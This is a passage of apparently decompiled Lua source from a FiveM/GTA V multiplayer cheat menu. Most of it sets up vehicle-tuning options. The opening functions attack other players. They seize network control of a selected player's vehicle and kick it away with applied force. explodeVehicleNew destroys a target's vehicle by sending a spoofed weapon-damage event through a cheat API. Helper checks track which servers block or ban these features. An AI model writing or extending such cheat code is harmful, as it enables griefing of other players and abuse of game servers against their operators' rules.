localCoords.x, 1.0, 0.0, maximumDimensions.x, localCoords.y }, { localCoords.y - minimumDimensions.y, 0.0, -1.0, localCoords.x, minimumDimensions.y }, { maximumDimensions.y - localCoords.y, 0.0, 1.0, localCoords.x, maximumDimensions.y } } table.sort(sides, function(left, right) return left[1] < right[1] end) directionX = sides[1][2] directionY = sides[1][3] closestX = sides[1][4] closestY = sides[1][5] else directionX = directionX / distance directionY = directionY / distance end attachX = closestX + directionX * 0.55 attachY = closestY + directionY * 0.55 attachHeading = GetHeadingFromVector_2d(-directionX, -directionY) ClearPedTasksImmediately(playerPed) end AttachEntityToEntity( playerPed, vehicle, 0, attachX, attachY, attachZ, 0.0, 0.0, attachHeading, false, false, false, true, 2, true ) attached = true TaskPlayAnim(playerPed, animDict, animName, 8.0, -8.0, 700, 0, 0.0, false, false, false) Citizen.Wait(150) if not DoesEntityExist(vehicle) or not DoesEntityExist(playerPed) or IsEntityDead(playerPed) then return end DetachEntity(playerPed, true, true) Citizen.Wait(0) if physicalKick then local vehicleNetworked = NetworkGetEntityIsNetworked(vehicle) local vehicleAlive = vehicleNetworked and not IsEntityDead(vehicle) and 0 < GetVehicleEngineHealth(vehicle) if vehicleAlive then if not NetworkHasControlOfEntity(vehicle) then NetworkRequestControlOfEntity(vehicle) local controlDeadline = GetGameTimer() + 200 while DoesEntityExist(vehicle) and not NetworkHasControlOfEntity(vehicle) and controlDeadline > GetGameTimer() do Citizen.Wait(0) end end end if not DoesEntityExist(vehicle) then return end if not NetworkGetEntityIsNetworked(vehicle) or NetworkHasControlOfEntity(vehicle) then local forward = GetEntityForwardVector(playerPed) for _ = 1, 2, 1 do ApplyForceToEntity( vehicle, 1, forward.x * 40.0, forward.y * 40.0, 80.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true ) end else menu.utils.notify("Could not control the vehicle for the kick", "error", 2500) end else menu.functions.sendSelectedPlayerKickVehicleDamage(options, true, vehicle, 2) end Citizen.Wait(550) end) if attached and DoesEntityExist(playerPed) then DetachEntity(playerPed, true, true) StopAnimTask(playerPed, animDict, animName, -4.0) end RemoveAnimDict(animDict) collisionActive = false menu.vars.kickVehicleAnimationActive = nil if not success then menu.utils.notify("Vehicle kick failed: " .. tostring(errorMessage), "error", 2500) end end) end function assembledMenuFunctions.getHulkVehicleKickTarget() if menu.vars.kickVehicleAnimationActive then return end if menu.utils.isServer151VehicleBlocked() then menu.vars.bools.hulkVehicleKick = false menu.utils.notifyBanBlocked() return end local playerPed = PlayerPedId() if not DoesEntityExist(playerPed) or IsEntityDead(playerPed) or IsPedInAnyVehicle(playerPed, false) or IsEntityAttached(playerPed) or not IsPedArmed(playerPed, 4) then return end local playerCoords = GetEntityCoords(playerPed) local closestVehicle = nil local closestDistance = 5.0 for _, vehicle in ipairs(GetGamePool("CVehicle")) do if DoesEntityExist(vehicle) and IsEntityAVehicle(vehicle) then local minimumDimensions, maximumDimensions = GetModelDimensions(GetEntityModel(vehicle)) local localCoords = GetOffsetFromEntityGivenWorldCoords(vehicle, playerCoords.x, playerCoords.y, playerCoords.z) local deltaX = localCoords.x - math.max(minimumDimensions.x, math.min(maximumDimensions.x, localCoords.x)) local deltaY = localCoords.y - math.max(minimumDimensions.y, math.min(maximumDimensions.y, localCoords.y)) local deltaZ = localCoords.z - math.max(minimumDimensions.z, math.min(maximumDimensions.z, localCoords.z)) local distance = math.sqrt(deltaX * deltaX + deltaY * deltaY + deltaZ * deltaZ) if closestDistance >= distance then closestDistance = distance closestVehicle = vehicle end end end return closestVehicle end function assembledMenuFunctions.tryHulkVehicleKick(vehicle) if not vehicle then vehicle = menu.functions.getHulkVehicleKickTarget() end if vehicle then menu.functions.kickSelectedPlayerVehicleAnimated(nil, vehicle, true) end end function assembledMenuFunctions.launchSelectedPlayerVehicle(options) menu.functions.sendSelectedPlayerKickVehicleDamage(options, true) end function assembledMenuFunctions.explodeVehicleNew(options) if menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end if not Ham or not Ham.sendWeaponDamageEvent then menu.utils.notify("Ham.sendWeaponDamageEvent is not available.", "error", 2500) return end if not options or not options.targetInfo then menu.utils.notify("No player selected", "error", 2000) return end local targetPed = options.targetInfo.ped if not targetPed or not DoesEntityExist(targetPed) then menu.utils.notify("Target ped does not exist.", "error", 2500) return end if not IsPedInAnyVehicle(targetPed, false) then return end local vehicle = GetVehiclePedIsIn(targetPed, false) if vehicle == 0 or not DoesEntityExist(vehicle) then return end CreateThread(function() local playerPed = PlayerPedId() local networkId = NetworkGetNetworkIdFromEntity(playerPed) menu.functions.sendExplodeVehicleDamageEvent(vehicle, networkId) end) end function assembledMenuFunctions.toggleCarryVehicle(toggleOptions) local enabled = toggleOptions and toggleOptions.toggleState or menu.vars.bools.carryVehicle if enabled and menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() menu.vars.bools.carryVehicle = false return end menu.vars.bools.carryVehicle = enabled end function assembledMenuFunctions.toggleCarryObjects(toggleOptions) local enabled = toggleOptions and toggleOptions.toggleState or menu.vars.bools.carryObjects menu.vars.bools.carryObjects = enabled if not enabled and menu.vars.carryAttachedObj and DoesEntityExist(menu.vars.carryAttachedObj) then DetachEntity(menu.vars.carryAttachedObj, true, true) menu.vars.carryAttachedObj = nil menu.vars.carryAnimActive = false ClearPedTasks(PlayerPedId()) end end function assembledMenuFunctions.togglePhysgun(toggleOptions) local enabled = toggleOptions and toggleOptions.toggleState or menu.vars.bools.physgun menu.vars.bools.physgun = enabled end function assembledMenuFunctions.setRainbowVehicleTimer() menu.vars.rainbowVehicleTimer = GetGameTimer() end pendingFunctionValue = { [0] = "Spoiler", [1] = "Front Bumper", [2] = "Rear Bumper", [3] = "Side Skirt", [4] = "Exhaust", [5] = "Frame", [6] = "Grille", [7] = "Hood", [8] = "Fender", [9] = "Right Fender", [10] = "Roof", [11] = "Engine", [12] = "Brakes", [13] = "Transmission", [14] = "Horns", [15] = "Suspension", [16] = "Armor", [17] = "Nitrous", [18] = "Turbo", [19] = "Subwoofer", [20] = "Tire Smoke", [21] = "Hydraulics", [22] = "Xenon Lights", [23] = "Front Wheels", [24] = "Back Wheels", [25] = "Plate Holder", [26] = "Vanity Plates", [27] = "Trim A", [28] = "Ornaments", [29] = "Dashboard", [30] = "Dial", [31] = "Door Speaker", [32] = "Seats", [33] = "Steering Wheel", [34] = "Shift Lever", [35] = "Plaques", [36] = "Speakers", [37] = "Trunk", [38] = "Hydraulics", [39] = "Engine Block", [40] = "Air Filter", [41] = "Struts", [42] = "Arch Cover", [43] = "Aerials", [44] = "Trim B", [45] = "Tank", [46] = "Windows", [47] = "Livery 2", [48] = "Livery", [49] = "Lightbar" } assembledMenuFunctions.vehicleModLabels = pendingFunctionValue pendingFunctionValue = { "Sport", "Muscle", "Lowrider", "SUV", "Offroad", "Tuner", "Bike", "High End" } assembledMenuFunctions.vehicleWheelTypeChoices = pendingFunctionValue pendingFunctionValue = {} pendingMenuEntry27 = 25 pendingMenuEntry28 = 26 pendingMenuEntry29 = 27 pendingMenuEntry32 = 30 pendingMenuEntry33 = 31 pendingMenuEntry36 = 34 pendingMenuEntry37 = 35 pendingMenuEntry38 = 36 pendingMenuEntry39 = 37 pendingMenuEntry40 = 38 pendingMenuEntry41 = 39 pendingMenuEntry42 = 40 pendingMenuEntry43 = 41 pendingMenuEntry44 = 42 pendingMenuEntry45 = 43 pendingMenuEntry46 = 44 pendingMenuEntry47 = 45 pendingMenuEntry48 = 46 pendingMenuEntry49 = 48 pendingMenuEntry50 = 49 pendingFunctionValue[1] = 0 pendingFunctionValue[2] = 1 pendingFunctionValue[3] = 2 pendingFunctionValue[4] = 3 pendingFunctionValue[5] = 4 pendingFunctionValue[6] = 5 pendingFunctionValue[7] = 6 pendingFunctionValue[8] = 7 pendingFunctionValue[9] = 8 pendingFunctionValue[10] = 9 pendingFunctionValue[11] = 10 pendingFunctionValue[12] = pendingMenuEntry27 pendingFunctionValue[13] = pendingMenuEntry28 pendingFunctionValue[14] = pendingMenuEntry29 pendingFunctionValue[15] = 28 pendingFunctionValue[16] = 29 pendingFunctionValue[17] = pendingMenuEntry32 pendingFunctionValue[18] = pendingMenuEntry33 pendingFunctionValue[19] = 32 pendingFunctionValue[20] = 33 pendingFunctionValue[21] = pendingMenuEntry36 pendingFunctionValue[22] = pendingMenuEntry37 pendingFunctionValue[23] = pendingMenuEntry38 pendingFunctionValue[24] = pendingMenuEntry39 pendingFunctionValue[25] = pendingMenuEntry40 pendingFunctionValue[26] = pendingMenuEntry41 pendingFunctionValue[27] = pendingMenuEntry42 pendingFunctionValue[28] = pendingMenuEntry43 pendingFunctionValue[29] = pendingMenuEntry44 pendingFunctionValue[30] = pendingMenuEntry45 pendingFunctionValue[31] = pendingMenuEntry46 pendingFunctionValue[32] = pendingMenuEntry47 pendingFunctionValue[33] = pendingMenuEntry48 pendingFunctionValue[34] = pendingMenuEntry49 pendingFunctionValue[35] = pendingMenuEntry50 assembledMenuFunctions.vehicleTuningBodyMods = pendingFunctionValue pendingFunctionValue = { [14] = true } assembledMenuFunctions.vehicleTuningSkipModTypes = pendingFunctionValue function assembledMenuFunctions.clampVehicleSliderLevel(value, minimum, maximum) return math.min(math.max(math.floor(tonumber(value) or 0), minimum), maximum) end function assembledMenuFunctions.shouldSkipVehicleTuningMod(modType) return menu.functions.vehicleTuningSkipModTypes[modType] == true end function assembledMenuFunctions.applyVehicleMaxMod(vehicle, modType) if menu.functions.shouldSkipVehicleTuningMod(modType) then return end local numVehicleMods = GetNumVehicleMods(vehicle, modType) if numVehicleMods and 0 < numVehicleMods then SetVehicleMod(vehicle, modType, numVehicleMods - 1, false) end end function assembledMenuFunctions.getTuningVehicle() local playerPed = PlayerPedId() if not IsPedInAnyVehicle(playerPed, false) then return nil, playerPed end local vehicle = GetVehiclePedIsIn(playerPed, false) if not DoesEntityExist(vehicle) then return nil, playerPed end return vehicle, playerPed end function assembledMenuFunctions.requestTuningVehicleControl(entity) if not entity or not DoesEntityExist(entity) then return false end local networkId = NetworkGetNetworkIdFromEntity(entity) if not networkId or networkId == 0 then return true end local attempts = 0 while not NetworkHasControlOfEntity(entity) and attempts < 20 do NetworkRequestControlOfEntity(entity) Citizen.Wait(25) attempts = attempts + 1 end return NetworkHasControlOfEntity(entity) end function assembledMenuFunctions.setVehicleXenonLightsColorNative(entity, colorIndex) if not entity or entity == 0 or not DoesEntityExist(entity) then return end colorIndex = math.min(math.max(math.floor(tonumber(colorIndex) or 0), 0), 12) Citizen.InvokeNative(-2013052192277120505, entity, colorIndex) end function assembledMenuFunctions.clampVehicleXenonColorIndex(value) return menu.functions.clampVehicleSliderLevel(value, 0, 12) end function assembledMenuFunctions.getVehicleXenonLightsColorNative(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return 0 end local colorIndex if type(GetVehicleXenonLightsColor) == "function" then colorIndex = GetVehicleXenonLightsColor(entity) else colorIndex = Citizen.InvokeNative(4467343895069330667, entity) end return menu.functions.clampVehicleXenonColorIndex(colorIndex) end function assembledMenuFunctions.clampVehicleModLevel(vehicle, modType, level) SetVehicleModKit(vehicle, 0) local numVehicleMods = GetNumVehicleMods(vehicle, modType) if not numVehicleMods or numVehicleMods <= 0 then return 0 end return math.min(math.max(math.floor(level or 0), 0), numVehicleMods - 1) end function assembledMenuFunctions.setVehicleModFromSlider(value, variableName) local modType = tonumber(tostring(variableName or ""):match("vehicleMod_(%d+)")) if not modType then return end local vehicle = menu.functions.getTuningVehicle() if not vehicle then menu.utils.notify("You must be in a vehicle", "error") return end menu.functions.requestTuningVehicleControl(vehicle) SetVehicleModKit(vehicle, 0) local level = menu.functions.clampVehicleModLevel(vehicle, modType, value) SetVehicleMod(vehicle, modType, level, false) menu.vars.sliders = menu.vars.sliders or {} menu.vars.sliders[variableName] = level end function assembledMenuFunctions.toggleVehicleToggleMod(variableName) local modTypes = { vehicleTurbo = 18, vehicleXenon = 22, vehicleTireSmokeMod = 20 } local modType = modTypes[variableName] if not modType then return end local vehicle = menu.functions.getTuningVehicle() if not vehicle then menu.utils.notify("You must be in a vehicle", "error") return end menu.functions.requestTuningVehicleControl(vehicle) SetVehicleModKit(vehicle, 0) local enabled = IsToggleModOn(vehicle, modType) ToggleVehicleMod(vehicle, modType, not enabled) menu.vars.bools = menu.vars.bools or {} menu.vars.bools[variableName] = not enabled end function assembledMenuFunctions.toggleVehicleTurbo() menu.functions.toggleVehicleToggleMod("vehicleTurbo") end function assembledMenuFunctions.toggleVehicleXenon() menu.functions.toggleVehicleToggleMod("vehicleXenon") end function assembledMenuFunctions.toggleVehicleTireSmokeMod() menu.functions.toggleVehicleToggleMod("vehicleTireSmokeMod") end function assembledMenuFunctions.toggleVehicleNeonLights() local vehicle = menu.functions.getTuningVehicle() if not vehicle then menu.utils.notify("You must be in a vehicle", "error") return end menu.functions.requestTuningVehicleControl(vehicle) local enabled = IsVehicleNeonLightEnabled(vehicle, 0) for index = 0, 3, 1 do SetVehicleNeonLightEnabled(vehicle, index, not enabled) end menu.vars.bools = menu.vars.bools or {} menu.vars.bools.vehicleNeonLights = not enabled end function assembledMenuFunctions.toggleVehicleBulletproofTires(toggleOptions) local vehicle = menu.functions.getTuningVehicle() if not vehicle then menu.utils.notify("You must be in a vehicle", "error") return end menu.functions.requestTuningVehicleControl(vehicle) local enabled = toggleOptions and toggleOptions.toggleState if enabled == nil and menu.vars.bools then enabled = menu.vars.bools.vehicleBulletproofTires end SetVehicleTyresCanBurst(vehicle, not enabled) end function assembledMenuFunctions.toggleVehicleCustomTires(toggleOptions) local vehicle = menu.functions.getTuningVehicle() if not vehicle then menu.utils.notify("You must be in a vehicle", "error") return end menu.functions.requestTuningVehicleControl(vehicle) SetVehicleModKit(vehicle, 0) local enabled = toggleOptions and toggleOptions.toggleState if enabled == nil and menu.vars.bools then enabled = menu.vars.bools.vehicleCustomTires end local wheelMod = GetVehicleMod(vehicle, 23) if wheelMod < 0 then wheelMod = 0 end SetVehicleMod(vehicle, 23, wheelMod, enabled) end function assembledMenuFunctions.setVehicleWindowTint(value) local vehicle = menu.functions.getTuningVehicle() if not vehicle then menu.utils.notify("You must be in a vehicle", "error") return end menu.functions.requestTuningVehicleControl(vehicle) value = menu.functions.clampVehicleSliderLevel(value, 0, 5) SetVehicleWindowTint(vehicle, value) menu.vars.sliders = menu.vars.sliders or {} menu.vars.sliders.vehicleWindowTint = value end function assembledMenuFunctions.setVehiclePearlescent(value) local vehicle = menu.functions.getTuningVehicle() if not vehicle then return end menu.functions.requestTuningVehicleControl(vehicle) value = menu.functions.clampVehicleSliderLevel(value, 0, 160) local _, wheelColor = GetVehicleExtraColours(vehicle) SetVehicleExtraColours(vehicle, value, wheelColor) menu.vars.sliders = menu.vars.sliders or {} menu.vars.sliders.vehiclePearlescent = value end function assembledMenuFunctions.setVehicleWheelColor(value) local vehicle = menu.functions.getTuningVehicle() if not vehicle then return end menu.functions.requestTuningVehicleControl(vehicle) value = menu.functions.clampVehicleSliderLevel(value, 0, 160) local pearlescent = GetVehicleExtraColours(vehicle) SetVehicleExtraColours(vehicle, pearlescent, value) menu.vars.sliders = menu.vars.sliders or {} menu.vars.sliders.vehicleWheelColor = value end function assembledMenuFunctions.setVehiclePlateStyle(value) local vehicle = menu.functions.getTuningVehicle() if not vehicle then return end menu.functions.requestTuningVehicleControl(vehicle) value = menu.functions.clampVehicleSliderLevel(value, 0, 5) SetVehicleNumberPlateTextIndex(vehicle, value) menu.vars.sliders = menu.vars.sliders or {} menu.vars.sliders.vehiclePlateStyle = value end function assembledMenuFunctions.setVehicleXenonColor(value) local vehicle = menu.functions.getTuningVehicle() if not vehicle then return end menu.functions.requestTuningVehicleControl(vehicle) value = menu.functions.clampVehicleXenonColorIndex(value) ToggleVehicleMod(vehicle, 22, true) menu.functions.setVehicleXenonLightsColorNative(vehicle, value) menu.vars.sliders = menu.vars.sliders or {} menu.vars.sliders.vehicleXenonColor = value end function assembledMenuFunctions.setVehicleLiveryLevel(value) local vehicle = menu.functions.getTuningVehicle() if not vehicle then return end menu.functions.requestTuningVehicleControl(vehicle) SetVehicleModKit(vehicle, 0) local liveryCount = GetVehicleLiveryCount(vehicle) if liveryCount and 0 < liveryCount then local level = math.min(math.max(value or 0, 0), liveryCount - 1) SetVehicleLivery(vehicle, level) menu.vars.sliders = menu.vars.sliders or {} menu.vars.sliders.vehicleLivery = level return end local modCount = GetNumVehicleMods(vehicle, 48) if modCount and 0 < modCount then local level = math.min(math.max(value or 0, 0), modCount - 1) SetVehicleMod(vehicle, 48, level, false) menu.vars.sliders = menu.vars.sliders or {} menu.vars.sliders.vehicleLivery = level end end function assembledMenuFunctions.applyVehicleWheelType(choice) local vehicle = menu.functions.getTuningVehicle() if not vehicle then return end local wheelType = 0 for index, label in ipairs(menu.functions.vehicleWheelTypeChoices) do if label == choice then wheelType = index - 1 break end end menu.functions.requestTuningVehicleControl(vehicle) SetVehicleWheelType(vehicle, wheelType) SetVehicleModKit(vehicle, 0) menu.functions.updateVehicleStats() menu.utils.notify("Wheel type: " .. (choice or "Sport"), "success") end function assembledMenuFunctions.buildVehicleModSliderOption(vehicle, modType, customLabel) SetVehicleModKit(vehicle, 0) local numVehicleMods = GetNumVehicleMods(vehicle, modType) if not numVehicleMods or numVehicleMods <= 0 then return nil end local label = customLabel or menu.functions.vehicleModLabels[modType] or ("Mod " .. modType) return { name = label, type = "numberSlider", var = "vehicleMod_" .. modType, min = 0, max = numVehicleMods - 1, step = 1, disableHoldAcceleration = true, default = 0, suffix = "", onChangeFunc = "setVehicleModFromSlider", description = "Cycle " .. (customLabel or "mod") .. " variants" } end function assembledMenuFunctions.getVehicleTuningNotInVehicleOptions() return { { name = "Max All Tuning", type = "button", func = "maxVehicleTuning", description = "Apply max performance, visuals and lights (no paint colors)" }, { name = "Max Performance", type = "button", func = "maxVehiclePerformance", description = "Max engine, brakes, transmission, suspension and turbo (armor off)" }, { name = "Max Visual", type = "button", func = "maxVehicleVisual", description = "Max all body, interior and wheel mods" }, { name = "Style Preset", type = "selector", func = "applyVehicleStylePreset", var = "vehicleStylePreset", choices = { "Neon Nights", "Stealth Black", "Chrome Dream", "Random Style" }, default = 1, description = "Choose a preset and apply a full look" }, { name = "Reset to Stock", type = "button", func = "resetVehicleTuning", description = "Remove all mods and restore factory look" } } end function assembledMenuFunctions.getVehicleTuningQuickOptions() local vehicle = menu.functions.getTuningVehicle() if not vehicle then return menu.functions.getVehicleTuningNotInVehicleOptions() end SetVehicleModKit(vehicle, 0) local options = { { name = "Max All Tuning", type = "button", func = "maxVehicleTuning", description = "Apply max performance, visuals and lights (no paint colors)" }, { name = "Max Performance", type = "button", func = "maxVehiclePerformance", description = "Max engine, brakes, transmission, suspension and turbo (armor off)" }, { name = "Max Visual", type = "button", func = "maxVehicleVisual", description = "Max all body, interior and wheel mods" }, { name = "Style Preset", type = "selector", func = "applyVehicleStylePreset", var = "vehicleStylePreset", choices = { "Neon Nights", "Stealth Black", "Chrome Dream", "Random Style" }, default = 1, description = "Choose a preset and apply a full look" }, { name = "Reset to Stock", type = "button", func = "resetVehicleTuning", description = "Remove all mods and restore factory look" }, { name = "Performance", type = "seperator" }, { name = "Turbo", type = "toggle", func = "toggleVehicleTurbo", var = "vehicleTurbo", description = "Toggle turbo upgrade" }, { name = "Bulletproof Tires", type = "toggle", func = "toggleVehicleBulletproofTires", var = "vehicleBulletproofTires", description = "Tires cannot burst from gunfire" } } for _, modType in ipairs({ 11, 12, 13, 15, 16 }) do local option = menu.functions.buildVehicleModSliderOption(vehicle, modType) if option then options[#options + 1] = option end end return options end function assembledMenuFunctions.getVehicleTuningPartsOptions() local vehicle = menu.functions.getTuningVehicle() if not vehicle then return menu.functions.getVehicleTuningNotInVehicleOptions() end SetVehicleModKit(vehicle, 0) local options = { { name = "Exterior", type = "seperator" } } for _, modType in ipairs(menu.functions.vehicleTuningBodyMods) do local option = menu.functions.buildVehicleModSliderOption(vehicle, modType) if option then options[#options + 1] = option end end if #options == 1 then options[#options + 1] = { name = "No body mods available", type = "seperator", disableHover = true } end return options end function assembledMenuFunctions.getVehicleTuningStyleOptions() local vehicle = menu.functions.getTuningVehicle() if not vehicle then return menu.functions.getVehicleTuningNotInVehicleOptions() end SetVehicleModKit(vehicle, 0) local options = { { name = "Wheels", type = "seperator" }, { name = "Wheel Type", type = "selector", var = "vehicleWheelType", choices = menu.functions.vehicleWheelTypeChoices, onChangeFunc = "applyVehicleWheelType", description = "Change wheel category (Sport, Muscle, etc.)" }, { name = "Custom Tires", type = "toggle", func = "toggleVehicleCustomTires", var = "vehicleCustomTires", description = "Toggle custom tire variation on current wheels" } } local frontWheels = menu.functions.buildVehicleModSliderOption(vehicle, 23, "Front Wheels") if frontWheels then options[#options + 1] = frontWheels end local backWheels = menu.functions.buildVehicleModSliderOption(vehicle, 24, "Back Wheels") if backWheels then options[#options + 1] = backWheels end options[#options + 1] = { name = "Paint", type = "seperator" } options[#options + 1] = { name = "Primary Color", type = "colorPicker", var = "vehiclePrimaryColor", default = { 255, 255, 255 }, onChangeFunc = "setVehiclePrimaryColorFromPicker", description = "Custom primary paint color" } options[#options + 1] = { name = "Secondary Color", type = "colorPicker", var = "vehicleSecondaryColor", default = { 255, 255, 255 }, onChangeFunc = "setVehicleSecondaryColorFromPicker", description = "Custom secondary paint color" } options[#options + 1] = { name = "Pearlescent", type = "numberSlider", var = "vehiclePearlescent", min = 0, max = 160, step = 1, disableHoldAcceleration = true, default = 0, onChangeFunc = "setVehiclePearlescent", description = "Pearlescent paint index (0-160)" } options[#options + 1] = { name = "Wheel Color", type = "numberSlider", var = "vehicleWheelColor", min = 0, max = 160, step = 1, disableHoldAcceleration = true, default = 0, onChangeFunc = "setVehicleWheelColor", description = "Wheel color index (0-160)" } options[#options + 1] = { name = "Lights & Effects", type = "seperator" } options[#options + 1] = { name = "Xenon Headlights", type = "toggle", func = "toggleVehicleXenon", var = "vehicleXenon", description = "Toggle xenon headlights" } options[#options + 1] = { name = "Tire Smoke Kit", type = "toggle", func = "toggleVehicleTireSmokeMod", var = "vehicleTireSmokeMod", description = "Enable tire smoke mod kit" } options[#options + 1] = { name = "Window Tint", type = "numberSlider", var = "vehicleWindowTint", min = 0, max = 5, step = 1, disableHoldAcceleration = true, default = 0, onChangeFunc = "setVehicleWindowTint", description = "0 = None, 5 = Limo dark" } options[#options + 1] = { name = "Neon Lights", type = "toggle", func = "toggleVehicleNeonLights", var = "vehicleNeonLights", description = "Toggle underglow neon" } options[#options + 1] = { name = "Neon Color", type = "colorPicker", var = "vehicleNeonColor", default = { 0, 255, 255 }, onChangeFunc = "setVehicleNeonColorFromPicker", description = "Neon underglow color" } options[#options + 1] = { name = "Xenon Color", type = "numberSlider", var = "vehicleXenonColor", min = 0, max = 12, step = 1, disableHoldAcceleration = true, default = 0, onChangeFunc = "setVehicleXenonColor", description = "Headlight xenon color index" } options[#options + 1] = { name = "Tire Smoke Color", type = "colorPicker", var = "vehicleTireSmokeColor", default = { 255, 255, 255 }, onChangeFunc = "setVehicleTireSmokeColorFromPicker", description = "Tire smoke RGB color" } options[#options + 1] = { name = "Details", type = "seperator" } options[#options + 1] = { name = "Plate Style", type = "numberSlider", var = "vehiclePlateStyle", min = 0, max = 5, step = 1, disableHoldAcceleration = true, default = 0, onChangeFunc = "setVehiclePlateStyle", description = "License plate design style" } local liveryCount = GetVehicleLiveryCount(vehicle) local maximumLivery = 0 if liveryCount and 0 < liveryCount then maximumLivery = liveryCount - 1 else local modCount = GetNumVehicleMods(vehicle, 48) if modCount and 0 < modCount then maximumLivery = modCount - 1 end end if 0 < maximumLivery then options[#options + 1] = { name = "Livery", type = "numberSlider", var = "vehicleLivery", min = 0, max = maximumLivery, step = 1, disableHoldAcceleration = true, default = 0, onChangeFunc = "setVehicleLiveryLevel", description = "Vehicle livery / wrap style" } end return options end function assembledMenuFunctions.getVehicleTuningOptions() if not menu.functions.getTuningVehicle() then return menu.functions.getVehicleTuningNotInVehicleOptions() end local options = menu.functions.getVehicleTuningQuickOptions() local optionGroups = { menu.functions.getVehicleTuningStyleOptions(), menu.functions.getVehicleTuningPartsOptions() } for _, group in ipairs(optionGroups) do for index = 1, #group, 1 do options[#options + 1] = group[index] end end return options end function assembledMenuFunctions.applyVehicleStylePreset(preset) local vehicle = menu.functions.getTuningVehicle() if not vehicle then menu.utils.notify("You must be in a vehicle", "error") return end preset = preset or "Neon Nights" menu.functions.requestTuningVehicleControl(vehicle) SetVehicleModKit(vehicle, 0) if preset == "Neon Nights" then SetVehicleCustomPrimaryColour(vehicle, 10, 10, 20) SetVehicleCustomSecondaryColour(vehicle, 0, 0, 0) SetVehicleExtraColours(vehicle, 64, 0) SetVehicleWindowTint(vehicle, 5) for index = 0, 3, 1 do SetVehicleNeonLightEnabled(vehicle, index, true) end SetVehicleNeonLightsColour(vehicle, 0, 255, 255) ToggleVehicleMod(vehicle, 22, true) menu.functions.setVehicleXenonLightsColorNative(vehicle, 8) ToggleVehicleMod(vehicle, 20, true) SetVehicleTyreSmokeColor(vehicle, 0, 255, 255) elseif preset == "Stealth Black" then SetVehicleCustomPrimaryColour(vehicle, 0, 0, 0) SetVehicleCustomSecondaryColour(vehicle, 15, 15, 15) SetVehicleExtraColours(vehicle, 0, 0) SetVehicleWindowTint(vehicle, 5) for index = 0, 3, 1 do SetVehicleNeonLightEnabled(vehicle, index, false) end ToggleVehicleMod(vehicle, 22, true) menu.functions.setVehicleXenonLightsColorNative(vehicle, 1) ToggleVehicleMod(vehicle, 20, false) elseif preset == "Chrome Dream" then SetVehicleCustomPrimaryColour(vehicle, 220, 220, 230) SetVehicleCustomSecondaryColour(vehicle, 180, 180, 190) SetVehicleExtraColours(vehicle, 120, 156) SetVehicleWindowTint(vehicle, 3) for index = 0, 3, 1 do SetVehicleNeonLightEnabled(vehicle, index, true) end SetVehicleNeonLightsColour(vehicle, 200, 200, 255) ToggleVehicleMod(vehicle, 22, true) menu.functions.setVehicleXenonLightsColorNative(vehicle, 0) ToggleVehicleMod(vehicle, 20, true) SetVehicleTyreSmokeColor(vehicle, 240, 240, 255) else menu.functions.randomVehicleStyle() return end menu.functions.updateVehicleStats() menu.utils.notify("Applied preset: " .. preset, "success") end function assembledMenuFunctions.randomVehicleStyle() local vehicle = menu.functions.getTuningVehicle() if not vehicle then menu.utils.notify("You must be in a vehicle", "error") return end menu.functions.requestTuningVehicleControl(vehicle) SetVehicleModKit(vehicle, 0) local primaryRed = math.random(0, 255) local primaryGreen = math.random(0, 255) local primaryBlue = math.random(0, 255) local secondaryRed = math.random(0, 255) local secondaryGreen = math.random(0, 255) local secondaryBlue = math.random(0, 255) SetVehicleCustomPrimaryColour(vehicle, primaryRed, primaryGreen, primaryBlue) SetVehicleCustomSecondaryColour(vehicle, secondaryRed, secondaryGreen, secondaryBlue) SetVehicleExtraColours(vehicle, math.random(0, 160), math.random(0, 160)) SetVehicleWindowTint(vehicle, math.random(0, 5)) local neonEnabled = math.random(0, 1) == 1 for index = 0, 3, 1 do SetVehicleNeonLightEnabled(vehicle, index, neonEnabled) end if neonEnabled then SetVehicleNeonLightsColour(vehicle, math.random(0, 255), math.random(0, 255), math.random(0, 255)) end ToggleVehicleMod(vehicle, 22, math.random(0, 1) == 1) menu.functions.setVehicleXenonLightsColorNative(vehicle, math.random(0, 12)) ToggleVehicleMod(vehicle, 20, true) SetVehicleTyreSmokeColor(vehicle, math.random(0, 255), math.random(0, 255), math.random(0, 255)) for modType = 0, 49, 1 do if not menu.functions.shouldSkipVehicleTuningMod(modType) then local modCount = GetNumVehicleMods(vehicle, modType) if modCount and 0 < modCount then SetVehicleMod(vehicle, modType, math.random(0, modCount - 1), false) end end end menu.functions.updateVehicleStats() menu.utils.notify("Random style applied", "success") end function assembledMenuFunctions.maxVehiclePerformance() local vehicle = menu.functions.getTuningVehicle() if not vehicle then menu.utils.notify("You must be in a vehicle", "error") return end Citizen.CreateThread(function() menu.functions.requestTuningVehicleControl(vehicle) SetVehicleModKit(vehicle, 0) for _, modType in ipairs({ 11, 12, 13, 15 }) do menu.functions.applyVehicleMaxMod(vehicle, modType) end SetVehicleMod(vehicle, 16, -1, false) ToggleVehicleMod(vehicle, 18, true) Citizen.Wait(50) menu.functions.updateVehicleStats() menu.utils.notify("Max performance applied", "success") end) end function assembledMenuFunctions.maxVehicleVisual() local vehicle = menu.functions.getTuningVehicle() if not vehicle then menu.utils.notify("You must be in a vehicle", "error") return end Citizen.CreateThread(function() menu.functions.requestTuningVehicleControl(vehicle) SetVehicleModKit(vehicle, 0) for modType = 0, 49, 1 do if modType ~= 11 and modType ~= 12 and modType ~= 13 and modType ~= 15 and modType ~= 16 and modType ~= 18 then menu.functions.applyVehicleMaxMod(vehicle, modType) end end local liveryCount = GetVehicleLiveryCount(vehicle) if liveryCount and 0 < liveryCount then SetVehicleLivery(vehicle, liveryCount - 1) end Citizen.Wait(50) menu.functions.updateVehicleStats() menu.utils.notify("Max visual mods applied", "success") end) end function assembledMenuFunctions.resetVehicleTuning() local vehicle = menu.functions.getTuningVehicle() if not vehicle then menu.utils.notify("You must be in a vehicle", "error") return end Citizen.CreateThread(function() menu.functions.requestTuningVehicleControl(vehicle) SetVehicleModKit(vehicle, 0) for modType = 0, 49, 1 do SetVehicleMod(vehicle, modType, -1, false) ToggleVehicleMod(vehicle, modType, false) end SetVehicleWindowTint(vehicle, 0) for index = 0, 3, 1 do SetVehicleNeonLightEnabled(vehicle, index, false) end SetVehicleCustomPrimaryColour(vehicle, 255, 255, 255) SetVehicleCustomSecondaryColour(vehicle, 255, 255, 255) SetVehicleExtraColours(vehicle, 0, 0) SetVehicleTyreSmokeColor(vehicle, 